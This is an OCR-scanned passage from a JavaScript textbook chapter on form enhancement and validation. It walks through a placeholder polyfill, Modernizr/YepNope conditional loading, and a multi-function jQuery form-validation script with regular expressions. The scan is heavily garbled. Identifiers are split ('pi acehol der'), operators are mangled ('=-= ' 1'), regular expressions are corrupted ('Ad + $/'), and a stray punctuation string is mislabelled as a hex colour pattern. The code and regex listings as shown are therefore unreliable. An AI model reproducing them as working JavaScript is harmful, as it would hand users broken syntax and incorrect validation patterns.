and call showPl acehol der ( ) for each one, passing it 
the collection of elements in that form. 

5, The showPl acehol der () function is declared. 

6, A for loop runs through elements in the collection. 
7* An i f statement checks each element to see if the 
element has a pi acehol der attribute with a value. 

8, If there is no pi acehol der attribute, cont 1 nue 
tells it to go on to the next element. Otherwise, it: 

9, Changes the text color to gray, and sets the value 
of the element to be the placeholder text. 

10, An event listener triggers an anonymous 
function when the element gains focus. 

11* If the current value of the element matches the 
placeholder text, the value is cleared (and color 
changed to black), 

12, An event listener triggers an anonymous function 
when the element loses focus, 

13* If the input is empty, the placeholder text is 
added back in (and its color changed to gray). 


© 

o 


o 

o 

o 



© 

© 

© 


FUN CTION; showP 1 acehol der ( ) 
add placeholder to elements without one 


loop through each element in form 


Create variable; el: current element 

4- 


t 


Does It use 
placeholder? 

It J 

Set color to gray 

I 

Set placeholder text 

L 

1 

Event: focus on this element 

I 

ANONYMOUS FUNCTION: 

If placeholder text is in the 
input* empty it & make text 
black 




Event: blur on this element 

I 

ANONYMOUS FUNCTION: 

If the input is empty, show the 
placeholder text in gray 


GO TO NEXT ELEMENT 
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PLACEHOLDER POLYFILL 


JAVASCRIPT 


cl3/js/placeholder-polyfil 1 os 


© (function () { // Place code in an IIFE 

// Test: Create an input element, and see if the placeholder is supported 
© if ('placeholder' in document. createEl ement ( ' input')) { 
return; 

} 


(D 

© 


var length = document, forms. length; 
for (var i = 0, 1 = length; i < 1; i++ ) { 
showPl acehol der( document. forms [i] .el ements) ; 


} 


// Get number of forms 
// Loop through each one 
// Call showPlaceholderQ 


(D 

© 


© 



function showPlaceholder(elements) ( // 

for (var i = 0, 1 = elements. length; i < 1; i++) { 


var el = el ements [i] ; 
if ( ! el .pi aceholder) { 
continue; 

} 

el .style. color = '#666666'; 
el. value = el .placeholder; 


// 

// 

// 

// 

a 

// 


Declare function 
// For each element 
Store that element 
If no placeholder set 
Go to next element 
Otherwi se 
Set text to gray 
Add placeholder text 


©I 


addEvent(el, 'focus', function () { 
if (this. value === this.placehol der) { 
this. value = " ; 
this. style. color = '#000000'; 

} 

}}; 


// If it gains focus 
// If value=placeholder 
// Empty text input 
// Make text black 


© 

©! 


} 

} 

)(}); 


addEvenl^el, ] blur', function () { 
1 f (this.value =-= ' 1 ) { 
this, value = this. placeholder; 
this. style. col or = 1 #666666 f ; 

} 

}); 


// On blur event 
// If the input is empty 
// Make value placeholder 
// Make text gray 


// End of for loop 
// End showPlacehol der{) 


There are a few differences from the HTMLS's placeholder attribute: e<g., if the user deletes their text, the 
placeholder only returns when the user leaves the input (not immediately - as with some browsers). It will not 
submit text that has the same value as the placeholder/placeholder values may be saved by autocomplete. 
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POLYFILL USING 
MODERNIZR & YEPNOPE 


You met Modernizr in Chapter 9, here you can see it used with a 
conditional loader so that it only loads a fallback script if one is needed. 


Modernizr lets you test whether or not a browser 
and device support certain features; this is known 
as feature detection. You can then take different 
courses of action depending on whether or not the 
features were supported. For example, if an older 
browser does not support a feature, you might 
decide to use a polyfill. 

Modernizr is sometimes included in the <head> of an 
HTML page when it needs to perform checks before 
the page has loaded (for example, some HTML5/ 
CSS3 polyfills must be loaded before the page). 


MODERNIZR ON ITS OWN 

Each feature you test using Modernizr becomes 
a property of the Modernizr object. If the feature 
is supported, the property contains true; if not, it 
contains fal se. You then use the properties of the 
Moderni zr object in a conditional statement as 
shown below. Here, if Modernizes css animat ions 
property does not return true the code in the curly 
braces runs. 

if (IModernizr, cssanimations) { 

// CSS animations are not supported 
// Use j Query animation instead 

} 


Rather than loading a polyfill script for everyone who 
visits your site (even if they do not need to use it), 
you can use something called a conditional loader, 
which will let you load different files depending on 
whether a condition returns true or false. Modernizr 
is commonly used with a conditional loader called 
YepNope. js, so polyfills are only loaded if needed. 

Once you have included the YepNope script in your 
page, you can call the yepnopeO function. It uses 
object literal syntax to indicate a condition to test, 
and then what files to load depending on whether 
the condition returned true or fal se. 

MODERNIZR + YEPNOPE 

YepNope is passed an object literal, which usually 
contains a minimum of three properties: 

• test is the a condition being checked. 

Here Modernizr is used to check if 
cssanimations are supported. 

• yep is the file to load if the condition returns true. 

• nope is the file to load if the condition returns 
fal se (here it loads two files using array syntax). 

yepnope({ 

test: Modernizr. cssanimations, 

yep: ‘css/animations.css 1 , 

nope: [' js/jquery.js' , 1 js/animate. js 1 ] 

}}; 
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CONDITIONAL LOADING 

OF A POLYFILL 


HTML 


<head> 


cl3/rutmber-polyfn 1 . html 


<scri pt src=''js/modernizr. js’'></script> 

<scri pt src="js/yepnope. js"></script> 

<scri pt src="js/riLimber-polyfi 1 1 -eg. js"x/script> 
</head> 

<body> 

<label for="age">Enter your age:</label> 

<input type="number" id="age" /> 

</body> 


JAVASCRIPT 


cl3/js/number-polyfi 17 -eg. js 


yepnope({ 

test: Moderni zr.i nputtypes .number, 

nope; [ ' js/numPolyfi 1 1 . js ‘ , 1 css/number. css '] , 

complete; function() { 

console. log('YepNope + Modernizr are done'); 

} 

)); 


RESULT 


Login 

Enter your age: 


2l\ 


Nexi 



This example tests if the browser 
supports the <i nput> element 
using a type attribute with a 
value of number. Both Modernizr 
and YepNope are included in the 
<head> of the page so that the 
fallback is shown correctly. 

Theyepnopef) function takes an 
object literal as a parameter. It's 
properties include; 

* test: the feature you are 
checking for. In this case it 
is checking Modernizr to 
see if the number input is 
supported. 

# yep: not used in this example 
can load files if the feature is 
supported. 

* nope: what to do if feature is 
not supported (you can load 
multiple fifes in an array). 

• complete: can run a function 
when the checks are 
complete, and any necessary 
files have loaded. Here if adds 
a message to the console to 
demonstrate how it works. 

Note that Modernizr stores the 
value of the <i nput> element's 
type attribute, in a child object 
called i nputtypes. E g., to check 
if the HTML5 date selector is 
supported, you use: 

Hoderni zr, i nputtypes .date 
(not Hoderni zr * date). 
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FORM VALIDATION 


The final section of this chapter uses one big script to discuss the topic of 
form validation. It helps users give you responses in the format you need. 
(The example aiso has some form enhancements, too.) 


Validation is the process of checking whether a value 
meets certain rules (for example, that a password 
has a minimum number of characters). It lets you 
tell users if there is a problem with the values they 
entered so that they can correct the form before 
they resubmit it. This has three key advantages: 

• You are more likely to get the information you 
need in a format you can use. 

• It is faster to check values in the browser than it 
is to send data to the server to be checked. 

• It saves resources on the server. 


In this section you see how to check the values a 
user enters into a form. These checks happen when 
the form is submitted. To do this users could press 
submit or use the Enter on the keyboard, so the 
validation process will be triggered by the submi t 
event (not the cl i ck event of a submit button). 

We will look at validation using one long example. 
You can see the form below, and the HTML is shown 
on the right. It uses HTML5 form controls, but the 
validation is going to be done using JavaScript to 
make sure that the experience is consistent across 
all browsers (even if they do support HTML5). 
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FORM HTML 


This example uses HTML5 markup, but validation is 
performed using JavaScript {not HTML5 validation). 


HTML 


<form method="post" action='7register"> 
<!-- Column 1 — > 


Due to limited space, the code below only shows the 
form inputs (not the markup for the columns). 

c!3/va1 idation.html 


<div class="name n > 

<label for="name" class=“required">Name:</label> 

<input type="text" placeholder="Enter your name" name="name" id="name" 
required title="Please enter your name"> 

</div> 

<div cl ass= "email "> 

<label for="email " cla$s="required">Email :</label> 

<input type="email " placeholder="you@example.com" name=" email" id="email" 
required> 

</div> 

<div class="pa$sword"> 

<label for=" password" class="required">Password:</label> 

<input type=" pas sword" name= "password" id=" pas sword" required> 

</div> 

<div class="password"> 

<label for="conf“password" class="requi red">Confi rm password:</label> 
<input type=" pas sword" name="conf-password" id="conf-password" required> 
</di v> 

<!— Column 2 — > 

<div class= l, birthday"> 

<label for=" birthday" class="required">Birthday:</label> 

<input type="date" name=" birthday" id="bi rthday" p1aceholder="yyyy-mm-dd" 
requi red> 

<div id="consent-container" class="hide"> 

<label for="parents-consent"> You need a parent's permission to join. 

Tick here if your child can joi n : </l abel> 

<input type="checkbox" name="parents-consent" id="parents-consent"> 
</div> 

</div> 

<div class="bio"> 

<label for="bio">Short Bio (max 140 characters) :</label> 

<textarea name="bio" id="bio" rows = "5" cols=' l 30"x/textarea : ’ 

<span id= ,, bio-count” class="hide">140</span> 

</di v> 

<div class="submit ,, ><input type="submit"x/di v> 

</form> 
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VALIDATION OVERVIEW 


This example has over 250 lines of code and will take 22 pages to explain. 
The script starts by looping through each element on the page 
performing two generic checks on every form control. 


GENERIC CHECKS 

First, the code loops through every element in the 
form and performs two types of generic checks. 
They are generic checks because they would work 
on any element, and would work with any form, 

1. Does the element have the required attribute? 

If so, does it have a value? 

2* Does the value match with the type attribute? 
E,g. H Does an email input hold an email address? 

CHECKING EACH ELEMENT 

To work through each element in the form, the 
script makes use the form's el ements collection 
(which holds a reference to each form control). The 
collection is stored in a variable called elements. In 
this example, the el ements collection will hold the 
following form controls. The right-hand column tells 
you which elements are required to have a value: 


INDEX 

ELEMENT 

REQUIRED 

0 

el ements, name 

Yes 

1 

el ements. email 

Yes 

2 

el ements .password 

Yes 

3 

el ements ,conf -pas sword 

Yes 

4 

el ements, birthday 

Yes 

5 

el ements , parent s-consent 

If under 13 

6 

el ements. bio 

No 
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Some developers proactively cache form elements in 
variables in case validation fails. This is a good idea, 
but to keep this (already very long) example simpler, 
the nodes for the form elements are not cached. 


If you have not already done so, it would be helpful 
to download the code for this example from the 
website, iavascriptbook.com, and have it ready when 
you are reading through the following pages. 


Once the generic checks have been performed, the script then makes 
some checks that apply to individual elements on the form. 

Some of these checks apply only to this specific form. 


Profile 

Birthday: 


2006 - 01-24 


You need a parent’s pennisstion to 
join. Tick here if your child can 
join: ■ 



Short Bio (maac 140 characters): 



CUSTOM VALIDATION TASKS 

Next the code performs checks that correspond with 
specific elements in the form (not 0 // elements): 

• Do the passwords match? 

• Is the bio in the textarea under 140 characters? 

• If the user is less than 13 years old, is the parental 
consent checkbox selected? 

These checks are specific to this form and only apply 
to selected elements in the form (not all of them). 

TRACKING VALID ELEMENTS 

To keep track of errors, an object called valid is 
created; As the code loops through each element 
performing the generic checks, a property is added 
to the val i d object for each element: 

• The property name is the value of its i d attribute. 

• The value is a Boolean, Whenever an error is 
found on an element, this value is set to fal se. 


PROPERTIES OF THE VALID OBJECT 

val id. name 


val id. email 


val id. password 
valid. conf-password 
val id.bi rthday 
val id. pa rents -consent 
val id. bio 
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DEALING WITH ERRORS 


if there are errors, the script needs to prevent the form being submitted 
and teii the user what they need to do in order to correct their answers. 


As the script checks each element, if an error is 
found, two things happen; 

• The corresponding property of the valid object 
is updated to indicate the content is not valid, 

* A function called setErrorMessageO is called. 
This function uses jQuery's .data() method, 
which allows you to store data with the dement. 
So the error message is stored in memory along 
with the form element that has the problem. 

After each element has been checked, then error 
messages can be shown using showErrorMessage(). 
It retrieves the error message and puts it in a <span> 
element, which is added after the form control. 


Each time the user tries to submit the form, if an 
error was not found on an element it is important 
to remove any error messages from that element. 
Consider the following scenario; 

a) A user filled out a form with more than one error 

b) This triggered multiple error messages. 

c) The user fixes one problem, so its corresponding 
message must be removed, while error message(s) 
for problems that have not been fixed must remain 
visible. 

Therefore, when each of the elements is looped 
through, either an error message is set, or the error 
message is removed. 


form 

I 

elements 



1 


key/value 


Above you can see a representation of the form and 
its el ements collection. There was a problem with 
the email input, so the , data ( } method has stored a 
key/value pair with that element. 


This is how the setErrorMessageO function will 
store the error messages to show to the user 
If the error is fixed, then the error value is cleared 
(and the element with the error message removed). 
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SUBMITTING THE FORM 


Before sending the form, the script checks whether there were any errors. 
If there were, the script stops the file from being submitted. 


In order to check whether any errors were found, a 
variable called isForml/al id is created and is given 
a value of true. The script then loops through each 
property of the valid object and if there was an 
error Cif any property of that object has a value of 
fal se), then there is an error in the form and the 
i sFormVal 1 d variable is a Iso set to false. 

So, i sFomnVal i d is being used as a flag (you can 
think of it being like a master switch) if an error is 
found, it is turned off. At the end of the script, if 
isFormVal id is false then an error must have been 
found and the form should not be submitted (using 
the preventDefau] t () method). 


Create variable: i sFormVal id 



I 

Prevent default action of form submitting 


It Is important to check and process all of the 
elements before deciding whether to submit the 
form so that you can show all of the relevant error 
messages in one go. 

If every value has been checked, the user can be 
shown all of the things they have to amend before 
re-submitting the form. 

If the form only showed the first error it came 
across, and stopped, the user would only see one 
error each time they submitted the form. This could 
soon become frustrating for the user if they were to 
keep trying to submit the form and see new errors. 


r \ 

PROPERTIES OF valid OBJECT 

valid* name 

true 

val id* emai 1 

true 

val id* password 

true 

val id,conf-password 

true 

val id*birthday 

false — 

val id. pa rents -consent 

false 

val id. bio 

true 

v 




The loop stops when the first error is found. 

(Note that error messages are already visible.) 
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CODE OVERVIEW 


On the right is an outline of the validation code, split into four sections. 
On line 3, an anonymous function is called when the form is submitted. 
It orchestrates the validation, in turn calling other functions (not all of 


which are shown on the right-hand 

A: SET UP THE SCRIPT 

1. The code lives inside an IIFE (creating function- 
level scope), 

2. This script uses JavaScript validation to ensure 
that error messages look the same on all browsers, 
so HTML5 validation is turned off by setting the 
noVal i date property of the form to true. 

3. When the user submits the form, an anonymous 
function is run {this contains the validation code). 

4. elements holds a collection of all form elements. 

5. val i d is the object that keeps track of whether or 
not each form control is valid. Each form control is 
added as a property of the valid object, 

6. i sVal i d is a flag that is re-used to check whether 
individual elements are valid. 

7. i sFormVal i d is a flag that is used as a master 
switch to check whether the entire form is valid. 


C: PERFORM CUSTOM VALIDATION 

14, After the code has looped through every element 
on the form, the custom validation can occur. There 
are three types of custom validation occurring (each 
one uses its own function): 

i) Is the bio too long? See p615. 

ii) Do passwords match? 

ill) Is user old enough to join on own? If not, is the 
parental approval checkbox selected? See p617. 

15, If an element fails one of the custom validation 
checks, showErrorMessagef) will be called, and the 
corresponding property in the val i d object will be 
set to false. 

16, If the element passes the check, 
removeErrorHessage() is called for that element. 


page, see further pages for more). 

B: PERFORM GENERIC CHECKS 

8* The code loops through each form control. 

9. It performs two generic checks on each one: 

i) Is the element required? If so, does it have a 
value? Uses validateRequi red(}. See p606, 

ii) Does the value correspond with the type of data it 
should hold? Uses val i datelypes (}. See p61G. 

If either of these functions does not return true, 
then is Val id is set to false. 

1G. An i f . „ . el se statement checks if that element 
passed the tests (by checking if i sVal i d is false), 
IT If the control is not valid, showErrorMessagef ) 
shows an error message to the user. See p609, 

12. [f it is valid, removeErrorMessage() removes any 
errors associated with that element, 

13. The value of the element's id attribute is added 
as a property val i d object; its value is whether or 
not the element was valid. 


D: DID THE FORM PASS VALIDATION? 

The val i d object now has a property for each 
element, and the value of that property states 
whether or not the element was valid or not. 

17. The code loops through each property In the 
valid object. 

18. An i f statement checks to see if the element 
was not valid. 

19. If it was not valid, set i sFormVal id to false and 
stop the loop, 

20. Otherwise, i sFormVal id is set to true. 

21. Finally, having looped through the val i d object, 
if i sFormVal id is not true, the prevent Defaul t () 
method prevents the form being submitted. 
Otherwise, it is sent 
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JAVASCRIPT 


cll/j s/val idation, js 


// SET UP THE SCRIPT 
(T) (function () { 

( 2 ) document. forms. register.noVali date = 
(D $( 1 form' ) .on(' submit' , function(e) { 
© var elements = this. elements; 

(D var valid = {}; 

(§) var isValid; 

© var isFormValid; 


; // Disable HTML5 validation 
// When form is submitted 
// Collection of form controls 
// Custom valid object 
// isValid: checks form controls 
// isFormValid: checks entire form 


// PERFORM GENERIC CHECKS (calls functions outside the event handler) 

(D for (var i = 0, l = (elements. length - 1); i < 1; i++) { 

// Next line calls validateRequired() see p606 & validateTypes() p6 10 
(5) isValid = validateRequired(elements[i]) && val idateTypes(elements[i]) ; 

© if (SisValid) { // If it does not pass these two tests 

@ showErrorMessage(elements[i]) ; // Show error messages (see p608) 

} else { // Otherwise 

© removeErrorMessage(elements[i] ) ; // Remove error messages 

} // End if statement 

® valid[elements[i] .id] = isValid; // Add element to the valid object 

) // End for loop 



// PERFORM CUSTOM VALIDATION (just 1 of 3 functions - see p614-p617) 
if (!validateBio()) { // Call val idateBioQ , if not valid 

showErrorMessage(document.get£1ementById( ' bio ' ) ) ; // Show error 

valid. bio = false; // Update valid object-not valid 

} else { // Otherwise 

removeErrorMessage(document.getElementById{ 'bio' }) ; // Remove error 
} // two more functions follow here (see p6 14- p6 1 7 ) 


© 




// DID IT PASS / CAN IT SUBMIT THE FORM? 

// Loop through valid object, if there are errors set isFormValid to false 


for (var field in valid) 
if (!valid[field]) { 
isFormValid = false; 
break; 

} 

isFormValid = true; 


{ 


// Check properties of the valid object 
// If it is not valid 
// Set isFormValid variable to false 
// Stop the for loop, error was found 
// Otherwise 

// The form is valid and OK to submit 


1 

// If the form did not validate, 
if (lisFormValid) { 
e.preventDefauIt() ; 


prevent it being submitted 

// If isFormValid is not true 
// Prevent the form being submitted 


} 

1 ); 

)()); 


// End event handler 

// Functions called above are here 

// End of IIFE 
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REQUIRED FORM 
ELEMENTS 


The HTML5 requi red attribute indicates a field must have a value. 
Our val idateRequi red() function will first check for the attribute. 
If present, it then checks whether or not it has a value. 


val i dateRequi red () is called for 
each element individually (see 
step 9, p605). Its one parameter 
is the element it is checking. 


In turn, it calls upon three other 
named functions, 
i) isRequired() checks for the 
requi red attribute. 


ii) is Empty () can check if the 
element has a value. 
iii> setErrorMessageO sets error 
messages if there are problems. 


function val idateRequi red (el) { 

1) if (1$ Requi red (e-1 )) { 

(2) var val id = lisEmpty(el ) ; 

© if {[valid) { 

(4) setErrorMessage(el * 'Field is required 1 ); 

} 

return valid; 

} 

return true; 

} 


// Is this element required 
// Is value not empty (true/false) 
//If valid variable holds false 
// Set the error message 

// Return valid variable {true/false} 

// If not required, all is okay 


A: DOES IT HAVE A 
REQUIRED ATTRIBUTE? 

1. An i f statement uses a 
function called is Requi red ( ) 
to check whether the element 
carries the requi red attribute. 
You can see the i s Req u i red ( ) 
function on the right-hand page. 
If the attribute is present, the 
subsequent code block is run, 

6. If not, the code skips to step to 
step 6 to say this element is OK. 


B: IF SO, DOES IT HAVE 
A VALUE? 

If the field is required, the next 
step Is to check whether or not 
it has a value. This is done using 
a function called i sEmpty (), also 
shown on the right-hand page. 

2. The result from i s Empty ( ) is 
stored in a variable called val i d. 
If it Is not empty, the v a 1 i d 
variable will hold a value of true. 
If it is empty, it holds fal se. 


C: SHOULD AN ERROR 
MESSAGE BE SET? 

3. An if statement checks if the 
val id variable is not true. 

4. If It is not true, an error 
message is set using the 
setErrorMessageO function, 
which you meet on p608, 

5. The val i d variable is returned 
on the next line, and that is 
where this function ends. 
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val idateRequi red() uses two functions to perform checks: 

1: isRequiredf) checks whether the element has a required attribute. 
2: i sEmpty ( ) checks whether the element has a value. 


i sRequi red ( ) 

The isRequiredO function 
takes an element as a parameter 
and checks if the requi red 
attribute is present on that 
element. It returns a Boolean. 


There are two types of check: 
The first, in blue, is for browsers 
that support the HTML5 
requi red attribute. The one In 
orange is for older browsers. 


To check if the requi red 
attribute is present, the typeof 
operator is used. It checks what 
datatype the browser thinks the 
required attribute is. 


function i sftequi red (el } { 

return ((typeof el. requi red === 'boolean') && el, requi red) j| 
(typeof el, requi red === 'string'}; 

} 


MODERN BROWSERS 

Modern browsers know the 
requi red property is a Boolean, 
so the first part of this check 
tells us if it is a modern browser. 
The second part checks If it is 
present on this element. 

If the attribute is present, it will 
evaluate to true. If not, it returns 
undef i ned, which is considered 
a falsy value. 


isEmptyf) 

The i s Empty (} function (below) 
takes an element as a parameter 
and checks to see if it has a 
value. As with i sRequi red (}, 
two checks are used to handle 
both new and older browsers. 


OLDER BROWSERS 

Browsers that do not know 
HTML5 can still tell whether 
or not an HTML5 attribute 
is present on an element. In 
those browsers, if the requi red 
attribute is present, it gets 
treated as a string, so the 
condition would evaluate to 
true. If not, the type would be 
undef i ned, which is falsy. 


ALL BROWSERS 

The first check looks to see if the 
element does not have a value. 

If it has a value, the function 
should return fal se. If it is 
empty, it will return true. 


WHAT IS VALIDATED 

It is important to note that the 
requi red attribute only indicates 
that q value is required. It doesn't 
stipulate how long the value 
should be, nor does it perform 
any other kind of validation. 
Specific checks, such as these, 
would have to be added in the 
val idateTypes() function or 
the script's custom validation 
section. 


OLDER BROWSERS 

If older browsers use a poiyfill 
for placeholder text, the value 
would be the same as the 
placeholder, so it is considered 
empty if those values match. 


function i sEmpty (el ) f 

return lei. value jj el. value ==- el .placeholder; 

} 
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CREATING ERROR 
MESSAGES 


The validation code processes elements one by one; 

any error messages are stored using jQuery’s ,data() method. 


HOW ERRORS ARE SET 

Throughout the validation code, whenever an 
error is found, you will see calls to a function called 
setErrorMessageQ, which takes two parameters: 

i) el : the element that the error message Is for 

ii) message: the text the error message will display 

For example, the following would add the message 
'Field is requi red 1 to the element that is stored in 
the el variable: 

setErrorMessage(el , 'Field is required 1 }; 


HOW DATA IS STORED WITH NODES 
Each error message is going to be stored with the 
element node that it relates to using the jQuery 
. data ( ) method. When you have elements in a 
jQuery matched set, the .data() method allows 
you to store information in key/value pairs for each 
individual element. 

The *data() method has two parameters: 

i) The key, which Is always going to be errorMessage 

ii) The value, which is the text that the error 
message will display 


setErrorMessageQ 

u) function setErrorMessagefel , message) { 

(2) ${el } .data{ 'errorMessage 1 , message); // Store error message with element 
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DISPLAYING ERROR 

MESSAGES 


After each element has been checked, if one or more were not valid, 
showErrorMessage() will display the error messages on the page. 


HOW ERRORS ARE DISPLAYED 

tf an error message needs to be shown, first a 
<span> element will be added to the page directly 
after the form fie Ed with the error. 

Next, the message is added into the <span> element. 
To get the text for the error message, the same 
jQuery .data() method that set the message is 
used again. This time, it only takes one parameter; 
the key (which is always errorMessage). 

This all happens within the function called 
showErrorMessage() which is shown below. 


t. $el holds a jQuery selection containing the 
element that the error message relates to. 

2. JerrorContainer looks for any existing errors 
on this element by checking if It has any sibling 
elements that have a class of error 

3. tf the element does not have an error message 
associated with it, the code in the curly braces runs. 

4. $errorContainer is set to hold a <span> element. 
Then . i nsertAfter{) adds the <span> element into 
the page after the element causing the error. 

5. The content of the <span> element is populated 
with the error message for that element, which is 
retrieved using the .data () method of the element. 


showErrorMessage() 


O) 

© 

@ 

@ 
( 5 ) 


function showErrorMessage(el) { 

var $e1 - $ (el ) ; // Find element with the error 

var $errorContai tier = $el . siblings (' .error 1 ) ; // Does it have errors already 

if ( !$errorContainer. length) { // If no errors found 

jj Create a <span> to hold the error and add it after the element with the error 
JerrorContai ner - $('<span cl ass^'error^x/span^ ) , i nsertAfter($el ) ; 

} 

$errorContainer,text($(el ) ,data{ 'errorMessage 1 )) ; jj Add error message 

} 
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VALIDATING DIFFERENT 
TYPES OF INPUT 


HTML5's new types of input come with built-in validation. 

This example uses HTML5 inputs, but validates them with JavaScript 
to ensure that the experience is consistent across all browsers. 


The val i dateTypes () function 
is going to perform the validation 
just like modern browsers do 
with HTML5 elements, but it will 
do it for all browsers. It needs to: 

• Check what type of data the 
form element should hold 

• Ensure the contents of the 
element matches that type 


1 The first line in the function 
checks if the element has 
a value. If the user has not 
entered any information, you 
cannot validate the type of data. 
Furthermore, it is not the wrong 
type of data. So, if there is no 
value, the function returns true 
(and the rest of the function 
does not need to run). 


2. If there is a value, a variable 
called type is created to hold the 
value of the type attribute. First 
the code checks to see if jQuery 
stored info about the type using 
its .dataO method (see why on 
p618). If not, it gets the value 
of the type attribute. 


function validateTypes{el ) { 
if (i eh value) return true; 


var type = $(el) ,data(' type 1 ) 
if (typeof val idatelype [type] 
return val idatelype [type] (el ); 
1 else { 
return true; 

} 


// If element has no value, return true 
// Otherwise get the value from .data() 
|| el .getAttribute( ’ type' ) ; // or get the type of input 
=== 'function') { //Is type a method of validate object? 

// If yes, check if the value validates 
// If not 

// Return true as it cannot be tested 


The getAttributeO method 
is used rather than the DOM 
property for type because all 
browsers can return the value 
of the type attribute, whereas 
browsers that don't recognize 
a new HTML5 DOM property 
types would just return text. 


3. This function uses an object 
called val idatelype (shown 
on the next page) to check the 
content of the element. The 
i f statement checks if the 
val idatelype object has a 
method whose name matches 
the value of the type attribute, 


If it has a method name that 
matches the type of form control: 

4. The element is passed to the 
object; it returns true or fal se. 

5. If there is no matching 
method, the object is not able to 
validate the form control and no 
error message should be set. 
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CREATING AN OBJECT TO 
VALIDATE DATA TYPES 


The val i dateType object 
(outlined below) has three 
methods; 

var validateType = { 
email: functi on {el ) { 

// Check email address 

}, 

number: functi on (el) { 
// Check it is a number 
}, 

date: function(el) { 

// Check date format 

} 

) 


The code inside each method 
is virtually identical. You can 
see the format of the emai 1 () 
method below. Each method 
validates the data using 
something called a regular 
expression. The regular 
expression is the only thing that 
changes in each method to test 
the different data types. 

Regular expressions allow you 
to check for patterns in strings, 
and here they are used with a 
method called test (). 


You can learn more about 
regular expressions and their 
syntax on the next two pages. 
For now, you just need to know 
that they are used to check the 
data contains a specific pattern 
of characters. 

Storing these checks as methods 
of an object makes it easy to 
access each of the the different 
checks when it comes time to 
validate the different types of 
input in a form. 


i— — © — i 

/ [^@] +@ [^0] +/ . test (el .val ue) ; 

1 — — CD 1 1 © — i) 1 


i) The regular expression is 
[ A &] +0 [ A @] + (it is between the 
/ and / characters). It states a 
pattern of characters that are 
found in a typical email address 


ID The test() method takes one 
parameter (a string), and checks 
whether the regular expression 
can be found within the string, 
it returns a Boolean. 


iir) In this example, the test{) 
method is passed the value of 
the element you want to check. 
Below you can see the method to 
test email addresses. 


email: function (el) ( // Create email method 

var valid = /[^@] +@[^(3] +/* test (el .value) ; // Store result of test in valid 

if (ivalid) { // If the value of valid is not true 

setErrorMessage(el s 'Please enter a valid email'); // Set error message 

) 

return valid; // Return the valid variable 

}* 


1. A variable called valid holds 
the result of the test using the 
regular expression. 


2. If the string does not contain a 
match for the regular expression, 

3. an error message is set. 


4. The function returns the value 
of the val i d variable (which is 
true or false). 
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REGULAR EXPRESSIONS 


Regular expressions search for characters that 
form a pattern. They can also replace those 
characters with new ones. 


Regular expressions do not just 
search for matching letters; 
they can check for sequences 
of upper/lowercase characters, 
numbers, punctuation, and 
other symbols. 


The idea is similar to the 
functionality of find and replace 
features in text editors, but it 
makes it possible to create far 
more complicated searches for 
combinations of characters. 


Below you can see the building 
blocks of regular expressions. 
On the right-hand page, you can 
see some examples of how they 
are combined to create powerful 
pattern-matching tools. 




r ] 


$ 

any single 
character (except 
newline) 

L J 

single character 
contained within 

brackets 

single character 
not contained 
within brackets 

the starting 
position in any line 

the ending position 
in any line 

() 

* 

\n 

{m,n} 

\d 

sub expressions 
(sometimes called 
a block or capturing 
group) 

preceding element 
zero or more times 

nth marked 
subexpression 
(n is digit 1-9) 

preceding element 
at least m, but no 
more than n, times 

digit 

\D 

\s 

\s 

\w 

\w 

non-digit character 

whitespace 

character 

* 

anything but 
whitespace 

alphanumeric 
character 
(A-Z,a-z, 0-9) 

non-alphanu meric 
character 
(except _) 


6121 FORM ENHANCEMENT & VALIDATION 


COMMON REGULAR 
EXPRESSIONS 


Here are a selection of regular expressions you 
can use in your code. Some of these are more 
powerful than those adopted by browsers. 


At the time of writing, some of 
the validation rules applied by 
the major browsers were not 
very strong. Some of the regular 
expressions shown below are 
more stringent. 

Ad + $/ 

number 

A [ \s] + 

whitespace at start of line 

/[^@]+@[^] +/ 

email 

A[a-fA-F0-9]{6}$/ 

hex color value 

! "#$%&\ 1 ()*+,- ./@: ;<=>[\\] / '_' { | }~ 

hex color value 

A(\d{2}\/\d{2}\/\d{4}) | (\d{4}-\d{2}-\d{2})$/ 

date yy-mm-dd 


Burt regular expressions are not 
perfect. There are still strings 
that would not be valid data, but 
would pass these tests betow* 


Also, bear in mind that there are 
many different ways to express 
the same thing using regular 
expressions. So you may see a 
very different regular expression 
that does something similar. 
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CUSTOM VALIDATION 


The final part of the script performs three checks that apply to individual 
form elements; each check lives in a named function. 


On the next pages, you will see 
these three functions. Each is 
called in the same manner as 
the val idateBiof) function 
shown below, (The full code that 
calls them is available from the 
website, along with the code for 
alt examples from the book,) 


FUNCTION 

PURPOSE 


val idateBiof) 

Check bio is 140 characters or less 


val idatePasswordf) 

Check password is at least 8 characters 



validateParentsConsent () If user is under 13, test if parental consent 

box is checked 

Each of these functions will return a value of true or fal se. 


mif (IvalidateBiof)} { 

JLj showErrorMessagefdocument.getElennentByldf 'bio 1 )) ; 
^ valid. bio = false; 

} else { 

t removeErrorMessage (document. get El ementBy Id ( 'bio' ) } ; 

1 


// Call val idateBiof) , if not valid 
// Show error message 
// Update valid object - not valid 
// Otherwise remove error message 


1. The function is called as a 
condition in an 1 f „ . . el se 
statement. This was shown in 
steps 14-16 on p605, 

2. If the function returns false, 
an error message is shown and 
the corresponding property of 
the v a 1 i d object Es set to fa 1 se. 

3. If the function returns true, 
the error message is removed 
from the corresponding element. 


o 


© 

Call function: Call function: 

showE rrorMessage ( ) removeErrorMessage ( ) 

& set corresponding 
property of val id 
object 


Call function, 
does it return 
true? 

•I 
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BIO & PASSWORD 
VALIDATION 


The validateBio() function: 

1. Stores the form element 
containing the user’s biography 
En a variable called bio. 


JAVASCRIPT 


2. If the length of the bio is less 
than or equal to 140 characters, 
the val i d variable is set to true 
(otherwise, it is set to fal se). 

3. if valid is not true, then,., 


4. The setErrorMessage{) 
function is called (see p608). 

5, The valid attribute is 
returned to the calling code, 
which will show or hide the error. 

c!3/js/val idatian.js 


© 

CD 

CD 

© 

© 


function val idateBio() { 
var bio = document. getEl ementByld ( 'bio' ) ; 
var valid = bio. val ue.l ength <= 140; 
if ( ! val id) { 

setErrorMessage(bio, 'Your bio should not 

} 

return val id; 

} 


// Store ref to bio text area 
// Is bio <= 140 characters? 

// If not, set an error message 
exceed 140 characters'); 

// Return Boolean value 


The val i datePassword () 
function starts by: 

1. Storing the element containing 
the password in a variable called 
password. 


JAVASCRIPT 


2. If the length of the value in the 
password input Is greater than or 
equal to 8, val id is set to true 
(otherwise, it is set to fal se). 

3. If val i d is not true, then... 


4. The setErrorMessageO 
function is called. 

5. The val id attribute is 
returned to the calling code, 
which will show or hide the error. 

cl3/js/va]idation.js 


© 

© 

© 

© 

© 


function val idatePasswordQ { 
var password = document. getEl ementByld ( 'password ' 
var valid = password. val ue.l ength >= 8; 
